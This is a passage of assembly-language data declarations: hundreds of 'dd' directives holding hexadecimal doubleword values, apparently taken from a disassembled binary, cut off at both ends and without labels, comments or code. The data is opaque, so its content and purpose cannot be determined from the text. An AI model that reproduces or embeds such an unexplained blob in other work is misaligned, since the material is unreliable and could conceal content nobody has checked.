260C3704h, 0A8802B24h, 1DF2DB0h, 0C24E7C0Ah dd 70078D96h, 0AB0324B9h, 27BBF444h, 2CD8E020h, 0C80B03CBh dd 19DE5C49h, 0C33334E8h, 40EF8700h, 24F9C66Bh, 0F860E4F7h dd 410700D6h, 2D1EBF14h, 9A017A3Bh, 64668B40h, 0D0F8061Bh dd 6AAA0072h, 0BE090AEAh, 8300910Dh, 6B2A07E2h, 1E4ACA8Dh dd 0FFAE8B99h, 94007D3Eh, 2EBEE59Bh, 89026FA8h, 0DF223111h dd 0D390E01Ah, 0CBCD1F0Eh, 0A7C9C0CCh, 69B2F033h, 0DC9A6D09h dd 38C001D5h, 0E9606E14h, 0ECA7396h, 6806391Fh, 7D405020h dd 2FE6C5F8h, 57B3530Ch, 858829h, 0AE18984Ah, 0D73556D3h dd 0A8287817h, 3CBC00BFh, 0B04574E2h, 6047AA3Ah, 0CFEBD121h dd 0ABF70101h, 1A8EE1A1h, 26FB70CDh, 0D063CA3Ch, 7A600FADh dd 0CCD8F830h, 3B3F6D3h, 668D2783h, 6AA81E12h, 5E0039BEh dd 19A1E385h, 0A534FAh, 0DB3BE8C8h, 8AAE8C50h, 0F503FD00h dd 69D6B582h, 3ED90063h, 2DFEA587h, 2A000B1Ch, 2C0F2749h dd 3A34D1FCh, 0F6800113h, 0F46B8BEDh, 71050E92h, 1E0865C0h dd 3D33E680h, 13B7010Fh, 0D9744FC2h, 7C3C803Ch, 0F026961Ah dd 0C88C00A4h, 847FD386h, 9A003802h, 7DD80FA8h, 0EA3380C3h dd 0EE2F0072h, 81D0B279h, 15F0AE93h, 0D6454B00h, 0CD24677h dd 0BF7D0098h, 3B4A926h, 5304E574h, 93FCB733h, 9D20088h dd 0EE1BC6Ah, 64EB805Dh dd 0A45E0335h, 8E0F00ECh, 6AF3AC33h, 0F5030501h, 3AEF73A4h dd 2CE7D8F8h, 0D680157h, 390689B1h, 3D002A1Fh, 97771B87h dd 3ED7763Eh, 5680E0A9h, 0B201CE5Ch, 190765A3h, 648A0447h dd 6B38F490h, 13D702Eh, 0D53AD697h, 401D96AEh, 0A62A26D4h dd 33BFC00h, 67EB4E01h, 9DF200BCh, 0CE885A8Eh, 39038B9Ch dd 6F26A086h, 32D79927h, 1009C8h, 0C01915D5h, 62A3B904h dd 0AFC42F01h, 0A4BBD2Ch, 1E8D6080h, 0EB16E58Eh, 597B3D00h dd 8C90569h, 38A81BD4h, 0EC818994h, 0A30BC3Dh, 0ED7126C0h dd 55032E1Dh, 0E18E01BDh, 0A8F34EC2h, 6AD10Fh, 0D9169461h dd 9FD4B0EBh, 0F202058h, 45A2374Eh, 0CB0E27BFh, 15C03CC1h dd 0F23DCA17h, 2B460083h, 0DF1A086Bh, 0BF061F94h, 0C2A012AEh dd 0C0C56228h, 881054EAh, 0FAF6248Ch, 0FEED07D9h, 61C74532h dd 90F41660h, 720161E0h, 6B253A3Bh, 0C22DF82Ch, 50B85FFCh dd 4D26E0A0h, 0A0A2CF00h, 9F9870B6h, 0E80F03F4h, 7BE012B3h dd 0F6EF0788h, 412AF200h, 0FD0DF71Ch, 0F4BC00CBh, 0B142336Bh dd 4D1F7EE8h, 0E00708F8h, 0A1C0821Bh, 5151CCC2h, 9880BA20h dd 0B0B937B1h, 3400D7A4h, 5EA646F1h, 155A705h, 81F804B3h dd 40F57733h, 0F06AA1BCh, 6B601190h, 56E54710h, 0DEC0036Fh dd 0B6AA0971h, 0D452082Ah, 56BCEA00h, 9050F2A3h, 3ADD0165h dd 5DF5707h, 8D8C5088h, 0C618295Fh, 7D110935h, 9FAC0514h dd 0C11695C0h, 0D115FD04h, 8DCC402Fh, 0AC000E4Ah, 0A64BF1F4h dd 3C60319h, 3D27D793h, 50238817h, 0AC1000BAh, 15F5C0ABh dd 0F85E8085h, 0CE8707BEh, 1984AF00h, 1CFEBD95h, 23940008h dd 76CD5D1Dh, 0F4064139h, 6C92A48Dh, 0A2707E0h, 9006C9B3h dd 0ED3D6A09h, 1708D165h, 0AABBB040h, 1B79CAh, 0FE0D7FD5h dd 0FC21E6A5h, 0DFE141C0h, 34A0A06h, 1EAFB693h, 9AA8AB2Ah dd 0E77E264Dh, 0EE20C01h, 2BC7F95h, 5D1C8083h, 9000B0F5h dd 2DE14D87h, 9691A5h, 0F8EDC233h, 19CFD576h, 3CAB7C00h dd 48302C50h, 1856007Ah, 0E71FD60h, 0D4005CA0h, 22249047h dd 26D12B3Bh, 79BAB7h, 2C1149CEh, 9200BDAAh, 54E60C52h dd 3DE285h, 2820B514h, 4F03BE3Ch, 4E8BAB03h, 0E2E92B3Ah dd 0A104BE3Bh, 10804876h, 0DBE444A8h, 0F800C516h, 0E3634AC4h dd 9074BDC3h, 4C87018Ah, 7AA8E771h, 242990E1h, 44C03184h dd 0DC445F73h, 424048D7h, 1F26D067h, 95730051h, 5DE8A532h dd 0A4003778h, 6D02F3FAh, 8728E5h, 46D29921h, 14FC3E6Eh dd 20EF89B8h, 6C03DDD0h, 0F434FBC4h, 2E7A001Bh, 0FEF3C57Ch dd 0EF0658ADh, 743323D0h, 3E4300F1h, 1B174755h, 0A7007511h dd 22546245h, 2A969h, 51C1ADE7h, 772B1B0Dh, 0C4009F76h dd 0F8B805F5h, 74B98512h, 9C9500FBh, 8AD3758h, 0AE2515B3h dd 3F30D461h, 0D3EE2A00h, 383B3EE4h, 67B56300h, 2F9D597Ch dd 0ED690036h, 4517AA14h, 47008A2Ah, 3243DA74h, 637E5Fh dd 0FC1C04F6h, 4849D031h, 42B51301h, 0C9C2BA5h, 3336F0h dd 967DC8BEh, 0D397258h, 1347DB00h, 270C1A29h, 37FC1883h dd 0C96420B0h, 0F1C0A418h, 1E2F231h, 0ED327585h, 80E79C19h dd 0B1C89219h, 1CE3F96Ch, 80991697h, 327165CEh, 49021ECAh dd 0C11F2613h, 0B41140D9h, 0E3669073h, 8D72AC40h, 0B58417DEh dd 80101B95h, 0C26998F0h, 80D9683Fh, 1AD7F456h, 0B645A0h dd 4B4F5767h, 39A7C406h, 0D0916E00h, 0ADEE4063h, 0E7441E10h dd 21CE4089h, 3B1AF2D6h, 0F6C7B900h, 78A3D1D9h, 5D10015Ch dd 67AFBC1Ch, 93DBD868h, 6000E871h, 7C815561h, 2ECFDFA0h dd 0D3FF9Ah, 7235CC1Eh, 6A003EA4h, 94872EC4h, 36EAA90h dd 7848A525h, 85E08B27h, 0A000D937h, 92A3ADC8h, 45062E2h dd 870178CDh, 0CF24802Ch, 1B0008D8h, 48DB0B6Bh, 85D2B7h dd 2228E612h, 29F13589h, 2B794004h, 0B1C77A8Eh, 762EBFA0h dd 460B00DDh, 95217F99h, 0F5041D10h, 2D0390AFh, 0AAE95580h dd 5F7A4Ch, 0D96235Bh, 0A243C336h, 1B353Dh, 880EA486h dd 374D5B0h, 0AB581A78h, 0D1E89B03h, 1B1F7318h, 0C3836FA1h dd 0C8DD3F51h, 0FCB1455h, 0AF9ED452h, 5F3AA460h, 8C003460h dd 0F2506E92h, 1DBF890h, 4B9C9379h, 0F8573BB3h, 0E6000F7Ah dd 744C42C5h, 0AB407Eh, 28525DFBh, 664DCBA5h, 116B7D01h dd 173BE24Ch, 0D08E20h, 0DCF78690h, 2AF9EA7Ch, 0BFEDC600h dd 0DD9BFACDh, 2CD905DEh, 11F5FCFh, 0A1B377A8h, 0AA76CC05h dd 27DFD100h, 0F0317A7Dh, 3BEF00FAh, 41A6C07Ch, 14E40613h dd 0D5AC5E16h, 23562B00h, 7E170Eh, 95491C59h, 5C8B85Ch dd 820CA8A0h, 15BD200h, 734F8420h, 0F8B0C99Eh, 0EFAF420h dd 5800C5A6h, 0ED2453C4h, 0AA2A07h, 0EC5A6308h, 1C1D4BABh dd 12C65400h, 0BED0CCC4h, 2C1E0EDDh, 8500CAF1h, 0F3E7A33Dh dd 9B25721Ch, 0C151F500h, 3BF2AEAFh, 4184205Ah, 814AD3E6h dd 0F4E0C474h, 0A058605Eh, 0B76E007Fh, 0F889155Ah, 1B0E4h dd 414C255Fh, 0D80F4082h, 27243809h, 0F20D008Ch, 3BDB1E91h dd 7E0E8068h, 2520C4EBh, 3A06D426h, 9323F401h, 95362E08h dd 153F030h, 1F4B761Ah, 0C83A2A5Fh, 930084B3h, 0C4C2EAFBh dd 0D87779h, 4EFDACECh, 94A7C1AFh, 70002090h, 891B493Fh dd 9AA684h, 0F526ED0Eh, 0D145168Eh, 697C627Eh, 4611E400h dd 4A643284h, 0C50070Fh, 0E36851F3h, 0A8B00791h, 0B7062E02h dd 21E51C5Fh, 2D7C98h, 0D8428028h, 220EE0DFh, 0FC02A600h dd 0BC7A6BE3h, 0A19D0719h, 80C03960h, 0EBEFED23h, 2BDC2F1Dh dd 6EDBF200h, 11DC396h, 5F2A6068h, 7083FD07h, 6D006C69h dd 90512E44h, 924031h, 0BF6E6526h, 3EA08CF1h, 3AE46B00h dd 0A559EC0Dh, 0FC814BCEh, 8FD30197h, 0E21007E8h, 7C4BA60h dd 0E68C3695h, 7E7B603Bh, 0B200F901h, 0EEEC6B81h, 1B78023Eh dd 0D89287D0h, 53516490h, 82A72700h, 9BD9B17Dh, 73A400BBh dd 0C141E9DBh, 53007430h, 4A548745h, 0A9072C61h, 1023A4B4h dd 0CE44C601h, 4019469Dh, 0A3701AB8h, 0E500917Dh, 0AE661BF6h dd 7ADC42h, 3B4527D8h, 44BA748Eh, 54AA9B00h, 2F12051Fh dd 0A5723E59h, 0ECDF9481h, 0C011C230h, 0AC0060AAh, 58FD8608h dd 26EA89CDh, 3D0E84Eh, 0C64598BBh, 0C4F2ECB0h, 3BB5F90Fh dd 1C4CC063h, 757E8Dh, 0C3148A43h, 7ACBBD64h, 0E72C24B0h dd 0DC0054DBh, 20562D1Ch, 1D8DBA5Ch, 803FB485h, 4752C58Eh dd 81B86C4Eh, 0FA163400h, 8107B83Dh, 86A400ADh, 3C66A10Ch dd 2E02FC1h, 0F7F0B7h, 0A36F0F56h, 0E91242BAh, 7B964B3Fh dd 2A98E404h, 0E48CBE05h, 0AFF054h, 7F6F01FEh, 8E7D4731h dd 1FB9CF01h, 0CAC88543h, 4AEEF4h, 1AB851C0h, 960C2915h dd 439AD904h, 3F806BC2h, 0FCE5A0C6h, 3C10055h, 3F050C2Ch dd 60488245h, 546F0077h, 0A5CB9E06h, 556800E4h, 37267425h dd 8400ED3Eh, 0DFCC6139h, 3C5EA8CAh, 4E0E060Fh, 0C9E0C89Bh dd 0C21024DAh, 82040A00h, 209602A1h, 1990141h, 0CEEECC83h dd 87903045h, 57105000h, 2103E342h, 0AD0A395Ch, 0A973C100h dd 31E9CCC0h, 86D17817h, 0ED971800h, 0D7855Dh, 1F14061Eh dd 0AC49AD67h, 75450B3Dh, 2CCF8B05h, 0AC21C33h, 1D38CE4Bh dd 8713FB81h, 10A9E431h, 0AD6C8C8Ah, 0CB58A1B0h, 0AF9F0044h dd 0E9B5753Dh, 70E8A063h, 0A46A0C6Fh, 6AE8E16h, 2EB1774Bh dd 732ECA30h, 4E65001Fh dd 3C9E7C25h, 6B04D66Dh, 0DC67CD0Dh, 904624C3h, 70E7F796h dd 0A4080022h, 0B29BA106h, 94006E24h, 43D77D59h, 383BB56h dd 4A1162A7h, 0BFD08C17h, 8F00750Eh, 490A27BCh, 0BA6EA02Dh dd 86250188h, 53D76D74h, 0B3A7C487h, 44007D72h, 0DFB0156Bh dd 0A4C8D9h, 8864F274h, 9DA273C2h, 97E2BE0Bh, 9EB08192h dd 86D0E3DDh, 500F7ACEh, 2774FC9Bh, 88DCEB3Fh, 6CC54F03h dd 0D25ACB08h, 0CBDC8038h, 2816404h, 0FCF8B806h, 64C07E62h dd 5E005495h, 5DD505Bh, 757A293h, 0FA0227A9h, 2B1AC331h dd 6D71F7A8h, 0B03DC100h, 9D2A39F4h, 48DCA867h, 5AFE1DC6h dd 0BC80C101h, 0F851FC26h, 0DD054393h, 288F744Eh, 640C6480h dd 783F5931h, 4004F41Eh, 0C4BB30EEh, 970002B7h, 4D6FE991h dd 1BCF25h, 260ABF3Fh, 0AA8DFA70h, 0B8C23700h, 4C6512E9h dd 18161DC3h, 827B00CEh, 3D5F6FE6h, 97625800h, 80254B8Ch dd 0DD5100B8h, 0EE6C1B03h, 900374BDh, 69A0BE68h, 0A4DA153h dd 5579D1E8h, 75F4884Fh, 90D90088h, 7AB767Ch, 0D62586B9h dd 7EDC034Eh, 0A42290BFh, 1CE10059h, 0A86625F5h, 7401F72Ah dd 83DB07A6h, 0E9D84BD5h, 93A90042h, 2B78300Ch, 0E2005AD0h dd 35CC201Bh, 83714Ch, 99464CFh, 39218D1Fh, 4B5FBD3Ch dd 41148800h, 0F3DB246h, 1A103E76h, 22803ACFh, 0BCE3667Eh dd 1E118160h, 40CEB877h, 90AE924h, 0B7727F57h, 19F560Fh dd 9C051196h, 134330h, 22FE45D6h, 23B80C3Dh, 0C3348A00h dd 0BE1884ADh, 88A125AFh, 0AE3B3000h, 0E3632460h, 0B7D77CECh dd 0CEE56240h, 46522A6Ah, 6EBA288Ch, 0F26EE5Ch, 0B3C20769h dd 53E77160h, 0A1174BFEh, 0E009270h, 562E482Ch, 609A1D4Fh dd 262F01A8h, 0D00F3677h, 451252CFh, 0EC1C2DE8h, 1EA34980h dd 0ECAF417Fh, 9A9100E2h, 35C0822Fh, 4700B933h, 0EBC54070h dd 3A325AD4h, 23801ADCh, 0FC1B9E56h, 9099D22h, 514560h dd 41B4B7D9h, 0B1A26190h, 0C040FC15h, 310028DCh, 2908EFC4h dd 0DB1C5h, 0A1B211B4h, 221E807Ch, 4AB33B00h, 413F8605h dd 805B509Ah, 94AA38A1h, 0A0E2AEh, 781D476Ah, 630C7D27h dd 681EC219h, 8FB0E9h, 268150A3h, 0A6FF9BDBh, 9D001A7Bh dd 3D691401h, 0E5C607h, 0AEF6C043h, 798095B6h, 0EBBFA100h dd 0B85AD763h, 0C07702CDh, 5F29C5DBh, 9930C0A1h, 2638C407h dd 6450F400h, 0E57A8DF5h, 13FD0056h, 5EE61FC5h, 0A40EAC73h dd 0C05A6350h, 452AB0FFh, 16713CF6h, 10AEC299h, 0C3045AC4h dd 2BB9BDh, 1602610h, 25BFA475h, 26E35758h, 1C00DC3Dh dd 29C7BD47h, 18C47313h, 2874F83Eh, 0A78056A9h, 0C2C800CAh dd 15250D33h, 5F004758h, 0B38A1651h, 36DD297h, 0EBE60FE8h dd 78A86AF5h, 371F2ECFh, 0FF400640h, 0B2A85F66h, 0FDDF003Ch dd 36BBBCCDh, 1B00286Dh, 96213B2Fh, 0B03951F6h, 0FEB60010h dd 3762DD02h, 6C0047A9h, 0F577B843h, 0C283EDh, 0FFA03BCCh dd 0C0D24B5Fh, 9F006075h, 0E05CF04Fh, 71A4813h, 0BFAB5E7Bh dd 913DD0B6h, 0F63CB32Fh, 0F8A200C8h, 3EA5EE2Eh, 8299002Dh dd 228EB749h, 970047C2h, 17719EE2h, 50968BE3h, 5DA4A2h dd 0ECDEED07h, 0CDB7A90Ch, 0DB00E075h, 4ECB5FC4h, 52A437h dd 327C9B43h, 0DDC5C3D0h, 0F33DEA00h, 663C12CDh, 89951D7Eh dd 37807BF1h, 0D52E4DD4h, 0CA00526Bh, 0C6286EAFh, 0EC7FF9h dd 0DDD435F4h, 9A8C5ACEh, 50B8A67Ah, 15D3807h, 0DE5099C2h dd 0A5F0CFh, 612B83C4h, 0EB66D287h, 27C0400h, 56C5D5A4h dd 78DFB037h, 100C00A2h, 0AE3D663Bh, 0A700C9B8h, 90D1D91Ch dd 267AD0Eh, 0BF826175h, 18404222h, 0D20046CEh, 8FEA9533h dd 0C1DDF6h, 7688A8CDh, 1CDEE67Fh, 0F8AE3100h, 0A78A2D9Dh dd 5C1D000Bh, 99DCDDFEh, 84072829h, 4767EE7h, 0FAF183E0h dd 4AB63E56h, 0EDF6D282h, 0F0A03D54h, 0DCFD7B39h, 0CC0C2F1Eh dd 575F7840h, 2E8A1F17h, 6595D5h, 7E4831E7h, 440B2EA4h dd 80060759h, 0F0CADD0Ch, 73B81374h, 813900DEh, 19EEAD22h dd 0BA27110Bh, 4FD00060h, 1B51C16h, 0DA610709h, 0CA2BD337h dd 1BA64440h, 4DA3B700h, 0CAE7CDD7h, 31541D39h, 75EC212h dd 442B3CCh, 19E06980h, 2C00F264h, 6998264Eh, 6FEF0Bh dd 0FC9BF7BDh, 157F700Dh, 0EC53A700h, 58FF480h, 293600A9h dd 226C10CFh, 0E900B67Dh, 0E14787D2h, 5C9AAA69h, 4800643Ah dd 1AECC0ACh, 0F9C08FBFh, 79D3547Bh, 93070033h, 0C28592F6h dd 720F4EF3h, 801BED4Ch, 0BC8CADD4h, 7804002Bh, 0C87ACE31h dd 511F93CBh, 0DECEE96Eh, 80B9C0AAh, 1C8CEEB3h, 43248DE7h dd 0B6575DA2h, 5520E8E0h, 3CFB9A04h, 0BAC4C099h, 0E3272480h dd 97E900DDh, 0A71B4DE7h, 6F0023C3h, 9D5F968Dh, 0EE9808F2h dd 72617EE6h, 5854001Ah, 5B1D6E4Eh, 6BF00F62h, 462C9800h dd 31FBDC83h, 7BCF73A2h, 49FCEBh, 6D5902A6h, 403EFF89h dd 390B171Eh, 11B11801h, 35C8672Fh, 0B4EA00BDh, 6F53FFEBh dd 0B82FB5E7h, 20E7001h, 818C9016h, 60404583h, 460E5D04h dd 614DCB57h, 683470E9h, 0BC9780DFh, 1D0905Eh, 0A6D2E237h dd 0D8A46D04h, 0F4EE7B08h, 0FEDE9300h, 3AC4741h, 0C1F300AAh dd 0CCA36827h, 444C5E09h, 799D3DB0h, 0BDE44813h, 56D50800h dd 7C781562h, 0D157511Ah, 929830h, 0E8536336h, 18B305C5h dd 0AA04357Fh, 66E7C3D4h, 70DF5C88h, 78AD0AA0h, 0FCB75Eh dd 0A5EB50A9h, 0BE036697h, 0E1373D7Eh, 2068E00Eh, 5352006Fh dd 8B26DD16h, 8900816Bh, 448407BDh, 608DB0h, 693223CFh dd 11C54791h, 0BDABBE01h, 0E7BFED2Ah, 181E13E0h, 0FA891498h dd 0B4006D1Fh, 1928DF0Ch, 529E87h, 6A90E31Bh, 0D447B65Bh dd 2D006798h, 29D20B86h, 26AC14h, 606115FDh, 4B192051h dd 844F0D3Dh, 0C3F0CE9Ah, 1A472080h, 49D00A8h, 0F8F2026Ch dd 36003FA7h, 781268B6h, 0CBCE70h, 564B86EFh, 0B715B1A5h dd 0DEE7C900h, 69F14E5h, 51D51F4Fh, 6D10025Ch, 0DC402BDCh dd 0DD98FA48h, 61592107h, 7AE5E757h, 1ECF32C1h, 0E0C7C8h dd 9FF60A6Fh, 504F6BE1h, 0A15DDC12h, 0EE526000h, 72BA7565h dd 0E8F40017h, 9E2DB6C1h, 0A1482A03h, 53E1EA8h, 9108240h dd 1B60EC7h, 99D097CCh, 0E0AA0FB3h, 95126C4Fh, 18004744h dd 0F0FBE818h, 3CE026h, 9CCF5751h, 0AEEA7D6Dh, 460054FCh dd 0D2F68CB6h, 7FBE1E31h, 9F090038h, 3BD1A313h, 0FB12CEC9h dd 640A37EDh, 1503C451h, 0F375CAE4h, 0F2AC8B6h, 222300A2h dd 73879881h, 3200556Dh, 0A814D517h, 0FF723Ch, 54AC49C7h dd 0DE7C8E43h, 806D333Dh, 74044B8Bh, 0EDD83Bh, 4009AD9Dh dd 6FFE9779h, 7B3C5A00h, 0D7BB46DDh, 2AFB0916h, 3E0055D3h dd 0A7203B26h, 4552F102h, 60EBAD34h, 93A11Ch, 0C0CF8996h dd 0F97D43CCh, 4881101h, 0EC219859h, 7344CCh, 9D205D34h dd 0F3C5ED0Bh, 68AB9E03h, 6BAC81h, 94A10F51h, 0D3969A0Eh dd 44115C00h, 0B2924A7Eh, 7240006Ch, 4CAAC6CDh, 520086FFh dd 0EE977D10h, 0D0EA35h, 0F1590848h, 7756BB8Ch, 99EDD38h dd 3E1C45h, 7D6C21EEh, 5552006Dh, 0D8112069h, 8003C7EBh dd 66A63999h, 152A00D5h, 717656EAh, 0CD001F5Dh, 3D8919F7h dd 0DDB50Bh, 0BCFF5077h, 0F2B06A4Bh, 0EB349500h, 25CDF141h dd 11A10024h, 3C8C7703h, 0FD7DC793h, 9281E200h, 30BFDEF9h dd 0A1418B4h, 79E46913h dd 68317E00h, 654F595Bh, 2CDD7CABh, 1F8215E7h, 92CF4E10h dd 916F8E61h, 0B072D0D5h, 4012A532h, 329FC0E7h, 7E190E9Eh dd 0FD8D69h, 1FFAA77Ch, 0AA075F99h, 252EA661h, 29BB4340h dd 0D0B0037Eh, 10599112h, 0B18C8907h, 948ED67Dh, 7BBD0040h dd 35C8A4C3h, 792100B3h, 0B7143069h, 100051B4h, 3E0C7291h dd 602312DBh, 6669A0DFh, 40C0319Fh, 0B42045EAh, 0D0D728CBh dd 8A6E0058h, 19E81D4Bh, 4400F8A6h, 4D30286Fh, 0C86973h dd 0DF4C51EAh, 1127A378h, 41A5EC00h, 0A9B1D7C4h, 7BC2011Eh dd 6033066Eh, 4FF1E0D5h, 2B7998FEh, 515FBB00h, 171173E8h dd 307A00DCh, 7BDF8589h, 80F22E14h, 0D3A51500h, 33CB476Fh dd 0B26C0E0Ch, 9D63463Eh, 0A08F6281h, 7DF288B4h, 8E34853Bh dd 0EA6B330Eh, 0C0838CE5h, 0E957D790h, 0A050385Eh, 1467944h dd 0D582D3C3h, 0F0840DB4h, 950FFCB2h, 6665503Ah, 2E40DE45h dd 31B9C4h, 0CFBAEDEBh, 5F0A2986h, 9C30400Fh, 0DC00EC9Fh dd 27CAF090h, 657400E1h, 6623A6ACh, 3F3A6A44h, 3B508EB8h dd 496DE146h, 54CC9EC3h, 5B4B1D5Fh, 0D28E1F31h, 345F00AFh dd 81661047h, 287C701h, 0ECFD6B1h, 0A81819BFh, 6BEC208Ah dd 0EB153C02h, 93079046h, 55ABD8h, 85B98B98h, 0F2F1409Ah dd 0D378870Ah, 2130E86Dh, 2498166Ah, 7F59B9h, 0D1250B4h dd 4C0CF775h, 0D8F29B64h, 0B13834D6h, 0AF6EC130h, 0F4C3F846h dd 0DC43C800h, 84FB6C95h, 6B7478h, 0C48E4C6Dh, 37E9A719h dd 8FCC8B1Dh, 7C14D5Eh, 793CF32Ah, 3969AA70h, 0ECF4A803h dd 42FC07A3h, 0C15D6340h, 8041558Ch, 886BFB18h, 4D4A47h dd 51C289F6h, 0B4260B77h, 61FE0400h, 7B570BEh, 0B38C3BECh dd 86253606h, 6360E6FCh, 0A9E46990h, 7B711C96h, 0BAC90755h dd 607EC6FAh, 8167EE7Ah, 66AF6930h, 74D176E8h, 0DDE680C1h dd 0B7F13F01h, 68037AE0h, 0C1E744F0h, 7535FA29h, 0D44D6085h dd 696D138h, 644FBBCFh, 0D70D0120h, 8C6BC4E5h, 6A68988Bh dd 0F21FB219h, 0FE311BDEh, 1E080F5h, 8600B7A2h, 0D745D1A9h dd 0FABBEB78h, 162E283Bh, 430D05B0h, 0C5ECC44h, 1839F7A0h dd 1A004EE2h, 0CA2351CDh, 1CE34C86h, 4136981Bh, 3EEA5443h dd 7087D29Dh, 97A03024h, 78177092h, 7A0661DBh, 2A2098D8h dd 0C05C44h, 0FDEB01EEh, 0FEB02BD5h, 82A2205h, 2CC14B8Dh dd 3080688Eh, 49B3F0DBh, 90A20C21h, 245ED361h, 0B0A46E08h dd 31CBC202h, 0C0D6E88Ch, 754AAA02h, 9E633F78h, 0ED6E6506h dd 5F48506Fh, 0DB080404h, 6D07FF85h, 2DE9044h, 7C3A8F53h dd 8F45190h, 55004030h, 0C9F2459Bh, 9AF1EBh, 7DD0BFC2h dd 0B602771Fh, 68420AF6h, 0AC014053h, 0F6224FDFh, 0E444016Dh dd 0B2276710h, 0EA0BC073h, 5FC28A7h, 0BC40ED17h, 9120CD54h dd 0E7BB3258h, 0A0A47930h, 206D4041h, 185DE9h, 625F6B15h dd 42CF04B6h, 6C8AA401h, 23C32ACBh, 930F1B2h, 96C930A0h dd 7C063E3Dh, 0FB12D426h, 0EF740C19h, 4F99846h, 0E8002091h dd 0C3893C5Bh, 0D1495CDBh, 0F01FD601h, 24E4AFA0h, 0FE600940h dd 0B8176C39h, 0A6CD004Dh, 1453921Ah, 0EC0ED38Bh, 0E3AA33C5h dd 5D48483h, 44898CC9h, 97A2C0B7h, 170FC104h, 0A0C69FAFh dd 0DE9EF67h, 0F9D35F3h, 18B03468h, 258C71D6h, 56A8502h dd 48798399h, 0C79710h, 28BE2153h, 9B67DC9Dh, 0A33AA701h dd 1FE919FFh, 7C4428A2h, 0D95200AAh, 193EB571h, 813D0CC8h dd 0E7189208h, 80E38C48h, 0E4D80465h, 0A54AB36h, 0EB22D4B0h dd 5B442AF6h, 0CD9F01D4h, 4846950Bh, 1539D4A2h, 4107F500h dd 0EE2753ECh, 888DD09h, 0D0306342h, 98A341Ah, 9FD88D9h dd 0DFD44820h, 58C16CAAh, 947DEFDBh, 44D68050h, 60209AFDh dd 1CE179EAh, 0D001745Dh, 0B7490D6Ah, 0A9883CB8h, 58A9ECF7h dd 5B138840h, 804D7CB6h, 6E06EDCEh, 700B847Fh, 0CC754958h dd 20E68613h, 2311F538h, 50AE1F3Eh, 8498B494h, 0C078454Dh dd 0FE529A2Bh, 1C1F92Dh, 4C7E9823h, 0D80206Fh, 73D49BB3h dd 0BAEB2801h, 0D74969BCh, 906EF2h, 91DAA343h, 0CD642F01h dd 610AB1B0h, 0A8588D1Bh, 908F7D8Ah, 9C0B038Ah, 0E0C30C87h dd 0E50F2680h, 49BF1CF7h, 2498CE46h, 2CA41D09h, 0FDEE409Bh dd 0D40EDh, 0E19CFFF2h, 6B358D2Ah, 1CEFB21Fh, 1222A8EAh dd 4F442AE2h, 0CF2300C0h, 0AC17A237h, 0EE1AFC91h, 21599540h dd 0F7B26FACh, 6E116C32h, 0E2A4515Ah, 0E27FBE20h, 9DEB0021h dd 7E50F731h, 593E995Ch, 480CA439h, 0D1227140h, 0C87B0992h dd 811FACCh, 2C003358h, 0F8441C7Eh, 7C04C8h, 0E3800693h dd 0AEE61F66h, 0E8613C24h, 0EE44864Eh, 0C7CF00D1h, 0C1F5EC8Ah dd 7500BAB8h, 22C1C8Ch, 239E82Dh, 7C8B996Ah, 0A064C235h dd 5080FBF4h, 0BD9300B2h, 27B33C11h, 689A2C8Bh, 4A96DB18h dd 5969F9h, 34B05835h, 9C868ED1h, 0DF4CA300h, 0A6C0AE74h dd 0AF971A60h, 648FA110h, 0EE046948h, 349047D0h, 3BEF8C6Ah dd 1E16B9BEh, 84704623h, 750021C0h, 37FF972Fh, 12E47C70h dd 48C277DDh, 0C880EFF0h, 26D5C708h, 0DD0E0288h, 0BE2181Bh dd 0A1043CCEh, 0B333B4B6h, 11E871C0h, 10CE2B0h, 0D99B395Fh dd 0B9497C8Ch, 0CCCEA2A1h, 0DB69E1B8h, 35080D04h, 0F4D19462h dd 29816A84h, 64FFE92Eh, 43682451h, 2091697Ch, 0AAC2178Eh dd 0CF12A916h, 0FD689059h, 9389EC0Ch, 54540424h, 18DE84Dh dd 0DEA44E32h, 30247E5Fh, 51068ACEh, 1FC3EED7h, 0FAB33730h dd 46EFE448h, 41F644h, 0B5354A41h, 0EDD1AABCh, 4DC07751h dd 5EC04334h, 41F44CC4h, 88AC008Dh, 0B655D529h, 9A1CAAh dd 26E76321h, 8E13006Bh, 827BD57Fh, 6B671F0Ah, 0C244E415h dd 0BA46B740h, 5C009D27h, 0F43101DDh, 0C2936BE5h, 0FC96E981h dd 0F9284D0Eh, 0A80458h, 3E7748BEh, 0BBDCCFA5h, 0FEF35E02h dd 0C4545042h, 639700D4h, 469389E1h, 0B152C381h, 0FE22D4h dd 85FD05C7h, 5714F8C8h, 29A8F75Dh, 6600D861h, 64FFFBEh dd 18CB3F75h, 0D5BB9384h, 0D1F489DEh, 8C8057D2h, 0F8B260E9h dd 3C594244h, 72005BF2h, 0CDC1B3CBh, 96004F37h, 0C3BC2AA1h dd 0A8F57C6Bh, 0F0DD0B5Ch, 0CC4B06FEh, 1886C617h, 80BC40B1h dd 0E46B6A6h, 597A53BCh, 842C0852h, 0E3CD40A0h, 8A00307Eh dd 0EADB9155h, 0B5388A4h, 63832B03h, 3943D090h, 830C5448h dd 0F094CB9Ch, 51191163h, 0F0223CCCh, 0F0AAFF01h, 0ECE5F3A1h dd 0D90C2DEDh, 0F171336Bh, 7829C3E9h, 7CD05DC7h, 263C967Ah dd 0F0A0067Eh, 99A1E8EFh, 3542434h, 0E4D43B1Eh, 0DC6C1912h dd 46768822h, 44A64Ch, 0EC9EF636h, 97C5C19Fh, 3F00724Dh dd 0F3C40A9h, 9AC42F57h, 1139562h, 68EED0A1h, 6E819446h dd 0D17A80F0h, 0B1AC2DBh, 0D260FD8Eh, 0E0E06108h, 49F99001h dd 0B6DB3Eh, 0D3354D9h, 1C1E60E3h, 0D44D72D1h, 0F6C02C7Bh dd 0D22C9D19h, 3808DEF4h, 91C3E4B9h, 0C5771FF5h, 34A06DC3h dd 0F4C1582Ch, 0DFCDEAC0h, 0BD64B04Fh, 0EC9C9338h, 0A0438AF7h dd 708852C4h, 8C990378h, 6790C98Bh, 10E4E9DBh, 0C2D1C094h dd 0F578AAAh, 7B2C150Fh, 226B51B9h, 11D41224h, 5C20CCC4h dd 0EACAB83h, 93238E6Fh, 18DC48B0h, 408968D1h, 36622429h dd 4EEE8B88h, 61F3A013h, 16945150h, 23638B17h, 0C000C014h dd 76F785B8h, 41EE62E1h, 3249843h, 121BC88h, 64EFBEAAh dd 20DC0B29h, 7D0526DEh dd 0AE7B55CCh, 0FFE69444h, 0ACBC0256h, 645A435Bh, 145E0200h dd 6A2862FDh, 3F70183h, 0A994A7DEh, 2979E119h, 